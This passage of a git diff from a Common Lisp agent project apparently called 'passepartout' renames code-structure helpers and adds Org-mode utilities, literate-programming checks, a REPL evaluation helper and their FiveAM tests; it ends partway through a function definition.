(harness-log "FORMAT EXCEPTION: ~a" c)
|
||||
(log-message "FORMAT EXCEPTION: ~a" c)
|
||||
code-string)))
|
||||
#+end_src
|
||||
|
||||
** Structural Extraction (AST)
|
||||
#+begin_src lisp
|
||||
(defun utils-lisp-structural-extract (code function-name)
|
||||
(defun lisp-extract (code function-name)
|
||||
"Extracts the definition of a specific function from a code string."
|
||||
(let ((*read-eval* nil))
|
||||
(with-input-from-string (s code)
|
||||
@@ -114,13 +86,10 @@ The *Utils Lisp* skill provides advanced structural validation, sandboxed evalua
|
||||
(member (symbol-name (car form)) '("DEFUN" "DEFMACRO" "DEFMETHOD") :test #'string-equal)
|
||||
(symbolp (second form))
|
||||
(string-equal (symbol-name (second form)) function-name))
|
||||
do (return-from utils-lisp-structural-extract (format nil "~s" form))))
|
||||
do (return-from lisp-extract (format nil "~s" form))))
|
||||
nil))
|
||||
#+end_src
|
||||
|
||||
** Structural Wrapping (AST)
|
||||
#+begin_src lisp
|
||||
(defun utils-lisp-structural-wrap (code target-name wrapper-symbol)
|
||||
(defun lisp-wrap (code target-name wrapper-symbol)
|
||||
"Wraps a specific form in a wrapper form (e.g., wrap in a let)."
|
||||
(let ((*read-eval* nil) (results nil))
|
||||
(with-input-from-string (s code)
|
||||
@@ -131,11 +100,8 @@ The *Utils Lisp* skill provides advanced structural validation, sandboxed evalua
|
||||
(push (list wrapper-symbol form) results)
|
||||
(push form results))))
|
||||
(format nil "~{~s~^~%~%~}" (nreverse results))))
|
||||
#+end_src
|
||||
|
||||
** List Definitions
|
||||
#+begin_src lisp
|
||||
(defun utils-lisp-list-definitions (code)
|
||||
(defun lisp-list-definitions (code)
|
||||
"Returns a list of names for all top-level definitions (defun, defmacro, etc.)."
|
||||
(let ((*read-eval* nil) (names nil))
|
||||
(with-input-from-string (s code)
|
||||
@@ -148,11 +114,8 @@ The *Utils Lisp* skill provides advanced structural validation, sandboxed evalua
|
||||
(symbolp (second form)))
|
||||
do (push (second form) names)))
|
||||
(nreverse names)))
|
||||
#+end_src
|
||||
|
||||
** Structural Injection (AST)
|
||||
#+begin_src lisp
|
||||
(defun utils-lisp-structural-inject (code target-name new-form-string)
|
||||
(defun lisp-inject (code target-name new-form-string)
|
||||
"Injects a new form into the body of a targeted definition."
|
||||
(let ((*read-eval* nil)
|
||||
(new-form (read-from-string new-form-string))
|
||||
@@ -167,11 +130,8 @@ The *Utils Lisp* skill provides advanced structural validation, sandboxed evalua
|
||||
(push (append form (list new-form)) results)
|
||||
(push form results))))
|
||||
(format nil "~{~s~^~%~%~}" (nreverse results))))
|
||||
#+end_src
|
||||
|
||||
** Structural Slurp (AST)
|
||||
#+begin_src lisp
|
||||
(defun utils-lisp-structural-slurp (code target-name form-to-slurp-string)
|
||||
(defun lisp-slurp (code target-name form-to-slurp-string)
|
||||
"Adds a form to the end of a named list or definition (Paredit slurp)."
|
||||
(let ((*read-eval* nil)
|
||||
(to-slurp (read-from-string form-to-slurp-string))
|
||||
@@ -184,11 +144,103 @@ The *Utils Lisp* skill provides advanced structural validation, sandboxed evalua
|
||||
(push (append form (list to-slurp)) results)
|
||||
(push form results))))
|
||||
(format nil "~{~s~^~%~%~}" (nreverse results))))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
#+begin_src lisp
|
||||
(defskill :skill-utils-lisp
|
||||
(defskill :passepartout-programming-lisp
|
||||
:priority 400
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
(defun plist-keywords-normalize (plist)
|
||||
(when (listp plist)
|
||||
(loop for (k v) on plist by #'cddr
|
||||
collect (if (and (symbolp k) (not (keywordp k)))
|
||||
(intern (string k) :keyword)
|
||||
k)
|
||||
collect v)))
|
||||
|
||||
(defpackage :passepartout-utils-lisp-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-lisp-suite))
|
||||
|
||||
(in-package :passepartout-utils-lisp-tests)
|
||||
|
||||
(def-suite utils-lisp-suite
|
||||
:description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
|
||||
|
||||
(in-suite utils-lisp-suite)
|
||||
|
||||
(test structural-balanced
|
||||
"Contract 1: balanced code returns T."
|
||||
(is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
|
||||
|
||||
(test structural-unbalanced-open
|
||||
"Contract 1: missing close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test structural-unbalanced-close
|
||||
"Contract 1: extra close paren returns nil + error."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
|
||||
(is (null ok))
|
||||
(is (search "Reader Error" reason))))
|
||||
|
||||
(test syntactic-valid
|
||||
"Contract 2: valid syntax passes syntactic check."
|
||||
(is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-safe
|
||||
"Contract 3: safe code passes semantic check."
|
||||
(is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
|
||||
|
||||
(test semantic-blocked-eval
|
||||
"Contract 3: eval forms are blocked by semantic check."
|
||||
(multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
|
||||
(is (null ok))
|
||||
(is (search "Unsafe" reason))))
|
||||
|
||||
(test unified-success
|
||||
"Contract 4: valid code returns :success via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
|
||||
(is (eq (getf result :status) :success))))
|
||||
|
||||
(test unified-failure
|
||||
"Contract 4: invalid code returns :error via lisp-validate."
|
||||
(let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
|
||||
(is (eq (getf result :status) :error))))
|
||||
|
||||
(test eval-basic
|
||||
"Contract 5: lisp-eval returns :success with captured result."
|
||||
(let ((result (passepartout:lisp-eval "(+ 1 2)")))
|
||||
(is (eq (getf result :status) :success))
|
||||
(is (string= (getf result :result) "3"))))
|
||||
|
||||
(test structural-extract
|
||||
"Contract 6: lisp-extract finds and returns a named function."
|
||||
(let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
|
||||
(extracted (passepartout:lisp-extract code "hello")))
|
||||
(is (not (null extracted)))
|
||||
(let ((form (read-from-string extracted)))
|
||||
(is (eq (car form) 'DEFUN))
|
||||
(is (eq (second form) 'HELLO)))))
|
||||
|
||||
(test list-definitions
|
||||
"Contract 7: lisp-list-definitions returns all defined names."
|
||||
(let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
|
||||
(let ((names (passepartout:lisp-list-definitions code)))
|
||||
(is (member 'FOO names))
|
||||
(is (member 'BAR names))
|
||||
(is (member '*BAZ* names)))))
|
||||
|
||||
(test structural-inject
|
||||
"Contract 8: lisp-inject adds a form to a function body."
|
||||
(let* ((code "(defun my-fun (x) (print x))")
|
||||
(injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
|
||||
(let ((form (read-from-string injected)))
|
||||
(is (equal (last form) '((FINISH-OUTPUT)))))))
|
||||
|
||||
(test structural-slurp
|
||||
"Contract 9: lisp-slurp appends a form to a function body."
|
||||
(let* ((code "(defun work () (step-1))")
|
||||
(slurped (passepartout:lisp-slurp code "work" "(step-2)")))
|
||||
(let ((form (read-from-string slurped)))
|
||||
(is (equal (last form) '((STEP-2)))))))
|
||||
103
lisp/programming-literate.lisp
Normal file
103
lisp/programming-literate.lisp
Normal file
@@ -0,0 +1,103 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun literate-extract-lisp-blocks (content)
|
||||
"Extracts all #+begin_src lisp ... #+end_src blocks from Org CONTENT.
|
||||
Returns a list of block strings."
|
||||
(let ((lines (uiop:split-string content :separator '(#\Newline)))
|
||||
(blocks nil)
|
||||
(in-block nil)
|
||||
(current-block nil))
|
||||
(dolist (line lines)
|
||||
(let ((trimmed (string-trim '(#\Space) line)))
|
||||
(cond
|
||||
((uiop:string-prefix-p "#+begin_src lisp" trimmed)
|
||||
(setf in-block t current-block nil))
|
||||
((uiop:string-prefix-p "#+end_src" trimmed)
|
||||
(when in-block
|
||||
(push (format nil "~{~a~^~%~}" (nreverse current-block)) blocks)
|
||||
(setf in-block nil current-block nil)))
|
||||
(in-block
|
||||
(push line current-block)))))
|
||||
(nreverse blocks)))
|
||||
|
||||
(defun literate-block-balance-check (org-file)
|
||||
"Verifies that all Lisp source blocks in an Org file have balanced parentheses.
|
||||
Returns T if all blocks pass validation, or an error string listing failures."
|
||||
(when (not (uiop:file-exists-p org-file))
|
||||
(return-from literate-block-balance-check
|
||||
(format nil "Org file not found: ~a" org-file)))
|
||||
(let* ((content (uiop:read-file-string org-file))
|
||||
(blocks (literate-extract-lisp-blocks content))
|
||||
(failures nil))
|
||||
(if (null blocks)
|
||||
t
|
||||
(progn
|
||||
(loop for i from 0
|
||||
for block in blocks
|
||||
for (ok reason) = (multiple-value-list
|
||||
(lisp-structural-check block))
|
||||
unless ok
|
||||
do (push (format nil "Block ~d: ~a" (1+ i) reason) failures))
|
||||
(if failures
|
||||
(format nil "Unbalanced blocks in ~a:~%~{~a~^~%~}" org-file failures)
|
||||
t)))))
|
||||
|
||||
(defun literate-tangle-sync-check (org-file lisp-file)
|
||||
"Verifies that the .lisp file matches the tangled output of the .org file.
|
||||
Compares the concatenation of all lisp blocks from the Org file against the
|
||||
contents of the Lisp file. Returns T if they match, or an error message."
|
||||
(when (not (uiop:file-exists-p org-file))
|
||||
(return-from literate-tangle-sync-check
|
||||
(format nil "Org file not found: ~a" org-file)))
|
||||
(when (not (uiop:file-exists-p lisp-file))
|
||||
(return-from literate-tangle-sync-check
|
||||
(format nil "Lisp file not found: ~a" lisp-file)))
|
||||
(let* ((org-content (uiop:read-file-string org-file))
|
||||
(org-blocks (literate-extract-lisp-blocks org-content))
|
||||
(tangled (format nil "~{~a~^~%~%~}" org-blocks))
|
||||
(lisp-content (uiop:read-file-string lisp-file)))
|
||||
(if (string= (string-trim '(#\Space #\Newline) tangled)
|
||||
(string-trim '(#\Space #\Newline) lisp-content))
|
||||
t
|
||||
(format nil "Tangle sync mismatch: ~a does not match ~a" org-file lisp-file))))
|
||||
|
||||
(defskill :passepartout-programming-literate
|
||||
:priority 300
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-literate-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:literate-suite))
|
||||
|
||||
(in-package :passepartout-programming-literate-tests)
|
||||
|
||||
(def-suite literate-suite :description "Verification of the Literate Programming skill")
|
||||
(in-suite literate-suite)
|
||||
|
||||
(test test-extract-lisp-blocks
|
||||
"Contract 1: extracts lisp from #+begin_src blocks."
|
||||
(let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
|
||||
(extracted (literate-extract-lisp-blocks org-content)))
|
||||
(let ((joined (format nil "~{~a~^~%~}" extracted)))
|
||||
(is (search "(+ 1 2)" joined))
|
||||
(is (search "(+ 3 4)" joined)))))
|
||||
|
||||
(test test-block-balance-check-valid
|
||||
"Contract 2: balanced parens return T."
|
||||
(is (eq t (literate-block-balance-check
|
||||
(merge-pathnames "org/core-pipeline.org"
|
||||
(uiop:ensure-directory-pathname
|
||||
(uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
|
||||
|
||||
(test test-block-balance-check-missing-close
|
||||
"Contract 2: unbalanced parens return non-T."
|
||||
(is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
|
||||
|
||||
(test test-tangle-sync-check
|
||||
"Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
|
||||
(let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
|
||||
(is (or (eq t result) (stringp result))
|
||||
"Should return T or a mismatch description")))
|
||||
357
lisp/programming-org.lisp
Normal file
357
lisp/programming-org.lisp
Normal file
@@ -0,0 +1,357 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun org-filetags-extract (content)
|
||||
"Extracts the list of tags from a #+FILETAGS: line."
|
||||
(let ((lines (uiop:split-string content :separator '(#\Newline))))
|
||||
(dolist (line lines)
|
||||
(when (uiop:string-prefix-p "#+FILETAGS:" (string-trim '(#\Space) line))
|
||||
(let ((tag-str (string-trim " :" (subseq (string-trim '(#\Space) line) 10))))
|
||||
(return-from org-filetags-extract
|
||||
(mapcar (lambda (tag) (format nil ":~a" (string-trim '(#\Space) tag)))
|
||||
(uiop:split-string tag-str :separator '(#\space #\tab))))))))
|
||||
nil)
|
||||
|
||||
(defun org-privacy-tag-p (tags-list)
|
||||
"Returns T if any tag in TAGS-LIST matches the Dispatcher's privacy tags."
|
||||
(let ((privacy-tags (symbol-value (find-symbol "*DISPATCHER-PRIVACY-TAGS*" :passepartout))))
|
||||
(when (and tags-list privacy-tags)
|
||||
(some (lambda (tag)
|
||||
(some (lambda (private-tag)
|
||||
(string-equal (string-trim '(#\: #\space) tag)
|
||||
(string-trim '(#\: #\space) private-tag)))
|
||||
privacy-tags))
|
||||
tags-list))))
|
||||
|
||||
(defun org-privacy-strip (content)
|
||||
"Removes Org headlines whose :TAGS: property contains a privacy-filtered tag.
|
||||
Returns the filtered content as a string."
|
||||
(let* ((lines (uiop:split-string content :separator '(#\Newline)))
|
||||
(result-lines nil)
|
||||
(skip-depth nil)
|
||||
(current-tags nil)
|
||||
(in-properties nil))
|
||||
(dolist (line lines)
|
||||
(cond
|
||||
(skip-depth
|
||||
;; We're inside a skipped subtree
|
||||
(when (and (uiop:string-prefix-p "*" (string-trim '(#\Space) line))
|
||||
(<= (length (string-trim '(#\Space) line)) skip-depth))
|
||||
(setf skip-depth nil)))
|
||||
((uiop:string-prefix-p ":PROPERTIES:" (string-trim '(#\Space) line))
|
||||
(setf in-properties t)
|
||||
(push line result-lines))
|
||||
((uiop:string-prefix-p ":END:" (string-trim '(#\Space) line))
|
||||
(setf in-properties nil)
|
||||
(when current-tags
|
||||
(when (org-privacy-tag-p (reverse current-tags))
|
||||
(setf skip-depth
|
||||
(length (car (last result-lines
|
||||
(1+ (position-if
|
||||
(lambda (l)
|
||||
(uiop:string-prefix-p "*" (string-trim '(#\Space) l)))
|
||||
(reverse result-lines))))))))
|
||||
(setf current-tags nil))
|
||||
(push line result-lines))
|
||||
((and in-properties (uiop:string-prefix-p ":TAGS:" (string-trim '(#\Space) line)))
|
||||
(let ((tag-val (string-trim '(#\Space) (subseq (string-trim '(#\Space) line) 6))))
|
||||
(setf current-tags (uiop:split-string tag-val :separator '(#\space #\tab))))
|
||||
(push line result-lines))
|
||||
(t
|
||||
(push line result-lines))))
|
||||
(format nil "~{~a~%~}" (nreverse result-lines))))
|
||||
|
||||
(defun org-read-file (filepath)
|
||||
"Reads an Org file into a string, applying privacy filtering."
|
||||
(let* ((raw (uiop:read-file-string filepath))
|
||||
(filetags (org-filetags-extract raw)))
|
||||
(if (org-privacy-tag-p filetags)
|
||||
(progn
|
||||
(log-message "UTILS-ORG: Blocked read of ~a — file-level privacy tag(s) ~a" filepath filetags)
|
||||
nil)
|
||||
(org-privacy-strip raw))))
|
||||
|
||||
(defun org-write-file (filepath content)
|
||||
"Writes content to an Org file."
|
||||
(uiop:with-output-file (s filepath :if-exists :supersede)
|
||||
(format s "~a" content)))
|
||||
|
||||
(defun org-id-generate ()
|
||||
"Generates a new UUID for an Org node."
|
||||
(string-downcase (format nil "~a" (uuid:make-v4-uuid))))
|
||||
|
||||
(defun org-id-format (id)
|
||||
"Ensures the ID has the 'id:' prefix."
|
||||
(if (uiop:string-prefix-p "id:" id)
|
||||
id
|
||||
(format nil "id:~a" id)))
|
||||
|
||||
(defun org-property-set (ast target-id property value)
|
||||
"Recursively sets a property on a headline with a matching ID in the AST."
|
||||
(let ((type (getf ast :type))
|
||||
(props (getf ast :properties))
|
||||
(contents (getf ast :contents)))
|
||||
(when (and (eq type :HEADLINE) (string= (getf props :ID) target-id))
|
||||
(setf (getf (getf ast :properties) property) value)
|
||||
(return-from org-property-set t))
|
||||
(dolist (child contents)
|
||||
(when (listp child)
|
||||
(when (org-property-set child target-id property value)
|
||||
(return-from org-property-set t)))))
|
||||
nil)
|
||||
|
||||
(defun org-todo-set (ast target-id status)
|
||||
"Sets the TODO status of a headline in the AST."
|
||||
(org-property-set ast target-id :TODO status))
|
||||
|
||||
(defun org-headline-add (ast parent-id title)
|
||||
"Adds a new headline as a child of the parent-id in the AST."
|
||||
(let* ((type (getf ast :type))
|
||||
(props (getf ast :properties))
|
||||
(id (getf props :ID))
|
||||
(contents (getf ast :contents)))
|
||||
(when (and (eq type :HEADLINE) (string= id parent-id))
|
||||
(let ((new-node (list :type :HEADLINE
|
||||
:properties (list :ID (org-id-format (org-id-generate))
|
||||
:TITLE title)
|
||||
:contents nil)))
|
||||
(setf (getf ast :contents) (append contents (list new-node)))
|
||||
(return-from org-headline-add t)))
|
||||
(dolist (child contents)
|
||||
(when (listp child)
|
||||
(when (org-headline-add child parent-id title)
|
||||
(return-from org-headline-add t)))))
|
||||
nil)
|
||||
|
||||
(defun org-headline-find-by-id (ast id)
|
||||
"Finds a headline by its ID in the AST."
|
||||
(let ((props (getf ast :properties)))
|
||||
(when (string= (getf props :ID) id)
|
||||
(return-from org-headline-find-by-id ast))
|
||||
(dolist (child (getf ast :contents))
|
||||
(when (listp child)
|
||||
(let ((found (org-headline-find-by-id child id)))
|
||||
(when found (return-from org-headline-find-by-id found)))))
|
||||
nil))
|
||||
|
||||
(defun org-headline-find-by-title (ast title)
|
||||
"Finds a headline by its title in the AST."
|
||||
(let ((props (getf ast :properties)))
|
||||
(when (string-equal (getf props :TITLE) title)
|
||||
(return-from org-headline-find-by-title ast))
|
||||
(dolist (child (getf ast :contents))
|
||||
(when (listp child)
|
||||
(let ((found (org-headline-find-by-title child title)))
|
||||
(when found (return-from org-headline-find-by-title found)))))
|
||||
nil))
|
||||
|
||||
(defun org-id-get-create (ast target-id)
|
||||
"If the headline at TARGET-ID has an :ID property, return it.
|
||||
If not, generate a new UUID, set it as the :ID property, and return it.
|
||||
TARGET-ID can be a headline's :ID or :TITLE in the AST.
|
||||
Returns nil if the headline is not found."
|
||||
(let ((headline (or (org-headline-find-by-id ast target-id)
|
||||
(org-headline-find-by-title ast target-id))))
|
||||
(when headline
|
||||
(let* ((props (getf headline :properties))
|
||||
(id (getf props :ID)))
|
||||
(if id
|
||||
id
|
||||
(let ((new-id (org-id-format (org-id-generate))))
|
||||
(setf (getf props :ID) new-id)
|
||||
new-id))))))
|
||||
|
||||
(defun org-subtree-extract (org-content heading-name)
|
||||
"Extracts a subtree by heading name from Org text. Returns the subtree
|
||||
content as a string (headline + body + children), or nil if not found."
|
||||
(let* ((lines (uiop:split-string org-content :separator '(#\Newline)))
|
||||
(target-depth nil)
|
||||
(in-target nil)
|
||||
(result nil))
|
||||
(loop for line in lines
|
||||
for trimmed = (string-trim '(#\Space) line)
|
||||
do (let ((depth (when (uiop:string-prefix-p "*" trimmed)
|
||||
(length (subseq trimmed 0
|
||||
(position-if (lambda (c) (not (char= c #\*)))
|
||||
trimmed)))))
|
||||
(headline-title (when (uiop:string-prefix-p "*" trimmed)
|
||||
(string-trim '(#\* #\Space) trimmed))))
|
||||
(when depth
|
||||
(when (string-equal headline-title heading-name)
|
||||
(setf target-depth depth in-target t))
|
||||
(when (and in-target target-depth
|
||||
(<= depth target-depth)
|
||||
(not (string-equal headline-title heading-name)))
|
||||
(return-from org-subtree-extract
|
||||
(format nil "~{~a~^~%~}" (nreverse result)))))
|
||||
(when in-target (push line result))))
|
||||
(when result
|
||||
(format nil "~{~a~^~%~}" (nreverse result)))))
|
||||
|
||||
(defun org-heading-list (org-content)
|
||||
"Returns a list of all top-level heading names in Org text."
|
||||
(let* ((lines (uiop:split-string org-content :separator '(#\Newline)))
|
||||
(headings nil))
|
||||
(dolist (line lines)
|
||||
(let ((trimmed (string-trim '(#\Space) line)))
|
||||
(when (uiop:string-prefix-p "* " trimmed)
|
||||
(let ((title (string-trim '(#\* #\Space) trimmed)))
|
||||
(unless (find title headings :test #'string-equal)
|
||||
(push title headings))))))
|
||||
(nreverse headings)))
|
||||
|
||||
(defun org-modify (filepath old-text new-text)
|
||||
"Replaces all occurrences of OLD-TEXT with NEW-TEXT in filepath.
|
||||
Returns T if OLD-TEXT was found and replaced, nil if not found."
|
||||
(when (not (uiop:file-exists-p filepath))
|
||||
(log-message "UTILS-ORG: org-modify: file not found: ~a" filepath)
|
||||
(return-from org-modify nil))
|
||||
(let* ((content (uiop:read-file-string filepath))
|
||||
(pos (search old-text content :test #'string=)))
|
||||
(unless pos
|
||||
(log-message "UTILS-ORG: org-modify: text not found in ~a" filepath)
|
||||
(return-from org-modify nil))
|
||||
(let ((modified (cl-ppcre:regex-replace-all
|
||||
(cl-ppcre:quote-meta-chars old-text)
|
||||
content new-text)))
|
||||
(org-write-file filepath modified)
|
||||
(log-message "UTILS-ORG: Modified ~a (~d chars replaced)" filepath (length old-text))
|
||||
t)))
|
||||
|
||||
(defun org-ast-render (ast &key (depth 1))
|
||||
"Converts a plist AST node back to Org text.
|
||||
AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
|
||||
:contents (child-ast ...))"
|
||||
(let* ((type (getf ast :TYPE))
|
||||
(props (getf ast :properties))
|
||||
(title (or (getf props :TITLE) "Untitled"))
|
||||
(tags (getf props :TAGS))
|
||||
(todo (getf props :TODO-STATE))
|
||||
(children (getf ast :contents))
|
||||
(raw-content (getf ast :raw-content))
|
||||
(stars (make-string depth :initial-element #\*))
|
||||
(output ""))
|
||||
(unless (eq type :HEADLINE)
|
||||
(return-from org-ast-render (or raw-content "")))
|
||||
;; Headline
|
||||
(setf output (format nil "~a~@[ ~a~] ~a" stars todo title))
|
||||
(when tags
|
||||
(let ((tag-str (format nil "~{~a~^:~}" (mapcar (lambda (tag) (string-trim '(#\:) tag)) tags))))
|
||||
(setf output (concatenate 'string output (format nil " :~a::~%" tag-str))))
|
||||
(setf output (concatenate 'string output (string #\Newline))))
|
||||
(unless tags
|
||||
(setf output (concatenate 'string output (string #\Newline))))
|
||||
;; Property drawer
|
||||
(setf output (concatenate 'string output ":PROPERTIES:" (string #\Newline)))
|
||||
(loop for (k v) on props by #'cddr
|
||||
do (unless (or (eq k :TITLE) (eq k :TAGS))
|
||||
(setf output (concatenate 'string output
|
||||
(format nil ":~a: ~a~%" k v)))))
|
||||
(setf output (concatenate 'string output ":END:" (string #\Newline)))
|
||||
;; Content
|
||||
(when raw-content
|
||||
(setf output (concatenate 'string output raw-content (string #\Newline))))
|
||||
;; Children
|
||||
(dolist (child children)
|
||||
(when (listp child)
|
||||
(setf output (concatenate 'string output
|
||||
(org-ast-render child :depth (1+ depth))))))
|
||||
output))
|
||||
|
||||
(defskill :passepartout-programming-org
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ignore-errors (ql:quickload :fiveam :silent t)))
|
||||
|
||||
(defpackage :passepartout-utils-org-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-org-suite))
|
||||
|
||||
(in-package :passepartout-utils-org-tests)
|
||||
|
||||
(def-suite utils-org-suite
|
||||
:description "Tests for Utils Org skill.")
|
||||
|
||||
(in-suite utils-org-suite)
|
||||
|
||||
(test id-generation
|
||||
"Contract 1: org-id-generate returns unique UUID strings."
|
||||
(let ((id1 (org-id-generate))
|
||||
(id2 (org-id-generate)))
|
||||
(is (plusp (length id1)))
|
||||
(is (not (string= id1 id2)))))
|
||||
|
||||
(test id-format
|
||||
"Contract 2: org-id-format ensures 'id:' prefix."
|
||||
(let ((formatted (org-id-format "abc12345")))
|
||||
(is (search "id:" formatted))))
|
||||
|
||||
(test property-setter
|
||||
"Contract 3: org-property-set modifies a property on a headline."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:test123" :TITLE "Test")
|
||||
:contents nil)))
|
||||
(org-property-set ast "id:test123" :STATUS "ACTIVE")
|
||||
(is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
|
||||
|
||||
(test todo-setter
|
||||
"Contract 4: org-todo-set changes TODO state via org-property-set."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:todo001" :TITLE "Task")
|
||||
:contents nil)))
|
||||
(org-todo-set ast "id:todo001" "DONE")
|
||||
(is (string= (getf (getf ast :properties) :TODO) "DONE"))))
|
||||
|
||||
(test test-org-headline-add
|
||||
"Contract 5: org-headline-add inserts a child headline."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents nil)))
|
||||
(is (eq t (org-headline-add ast "root" "New Child")))
|
||||
(is (= 1 (length (getf ast :contents))))
|
||||
(is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
|
||||
|
||||
(test test-org-headline-find-by-id
|
||||
"Contract 6: org-headline-find-by-id finds a headline by ID."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents
|
||||
(list (list :type :HEADLINE
|
||||
:properties (list :ID "child1" :TITLE "Child"))
|
||||
(list :type :HEADLINE
|
||||
:properties (list :ID "child2" :TITLE "Child 2"))))))
|
||||
(let ((found (org-headline-find-by-id ast "child2")))
|
||||
(is (not (null found)))
|
||||
(is (string= "Child 2" (getf (getf found :properties) :TITLE))))
|
||||
(let ((missing (org-headline-find-by-id ast "nonexistent")))
|
||||
(is (null missing) "Missing ID should return nil"))))
|
||||
|
||||
(test test-org-id-get-create
|
||||
"Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
|
||||
;; Case 1: headline already has an ID
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:existing" :TITLE "Has ID")
|
||||
:contents nil)))
|
||||
(is (string= "id:existing" (org-id-get-create ast "id:existing"))))
|
||||
;; Case 2: headline exists by title but has no ID — one should be created
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :TITLE "No ID")
|
||||
:contents nil)))
|
||||
(let ((new-id (org-id-get-create ast "No ID")))
|
||||
(is (stringp new-id))
|
||||
(is (uiop:string-prefix-p "id:" new-id))
|
||||
;; Verify the ID was set on the headline
|
||||
(is (string= new-id (getf (getf ast :properties) :ID)))))
|
||||
;; Case 3: idempotent — calling again returns same ID
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :TITLE "Idempotent")
|
||||
:contents nil)))
|
||||
(let ((id1 (org-id-get-create ast "Idempotent"))
|
||||
(id2 (org-id-get-create ast "Idempotent")))
|
||||
(is (string= id1 id2))))
|
||||
;; Case 4: headline not found returns nil
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents nil)))
|
||||
(is (null (org-id-get-create ast "nonexistent")))))
|
||||
185
lisp/programming-repl.lisp
Normal file
185
lisp/programming-repl.lisp
Normal file
@@ -0,0 +1,185 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *repl-package* :passepartout
|
||||
"Default package for REPL evaluations.")
|
||||
|
||||
(defvar *repl-history* nil
|
||||
"History of evaluated forms for session continuity.")
|
||||
|
||||
(defvar *repl-variables* (make-hash-table :test #'eq)
|
||||
"Cache of bound variables for inspection.")
|
||||
|
||||
(defun repl-eval (code-string &key (package *repl-package*))
|
||||
"Evaluate Lisp code and return (values result output error).
|
||||
- result: the return value as string
|
||||
- output: captured stdout
|
||||
- error: error message or nil on success"
|
||||
(let ((out (make-string-output-stream))
|
||||
(err (make-string-output-stream))
|
||||
(pkg (or (find-package package) (find-package :passepartout))))
|
||||
(handler-case
|
||||
(let* ((*standard-output* out)
|
||||
(*error-output* err)
|
||||
(*package* pkg)
|
||||
(*read-eval* nil)
|
||||
(result nil))
|
||||
(with-input-from-string (s code-string)
|
||||
(loop for form = (read s nil :eof) until (eq form :eof)
|
||||
do (setf result (eval form))))
|
||||
(push code-string *repl-history*)
|
||||
(values
|
||||
(format nil "~a" result)
|
||||
(get-output-stream-string out)
|
||||
nil))
|
||||
(error (c)
|
||||
(values
|
||||
nil
|
||||
(get-output-stream-string out)
|
||||
(format nil "~a" c))))))
|
||||
|
||||
(defun repl-inspect (symbol-name &key (package *repl-package*))
|
||||
"Inspect a variable's value and structure."
|
||||
(let* ((pkg (or (find-package package) (find-package :passepartout)))
|
||||
(sym (find-symbol (string-upcase symbol-name) pkg)))
|
||||
(cond
|
||||
((null sym)
|
||||
(format nil "Symbol ~a not found in package ~a" symbol-name package))
|
||||
((boundp sym)
|
||||
(let ((val (symbol-value sym)))
|
||||
(format nil "~a = ~a~%Type: ~a~%~%"
|
||||
sym val (type-of val))))
|
||||
((fboundp sym)
|
||||
(format nil "~a is a function~%Args: ~a~%"
|
||||
sym (documentation sym 'function)))
|
||||
(t
|
||||
(format nil "~a is unbound" symbol-name)))))
|
||||
|
||||
(defun repl-list-vars (&key (package *repl-package*))
|
||||
"List all bound variables in the package."
|
||||
(let* ((pkg (or (find-package package) (find-package :passepartout)))
|
||||
(vars nil))
|
||||
(do-symbols (sym pkg)
|
||||
(when (boundp sym)
|
||||
(push (format nil "~a" sym) vars)))
|
||||
(sort vars #'string<)))
|
||||
|
||||
(defun repl-load-file (filepath)
|
||||
"Load a Lisp file into the current image."
|
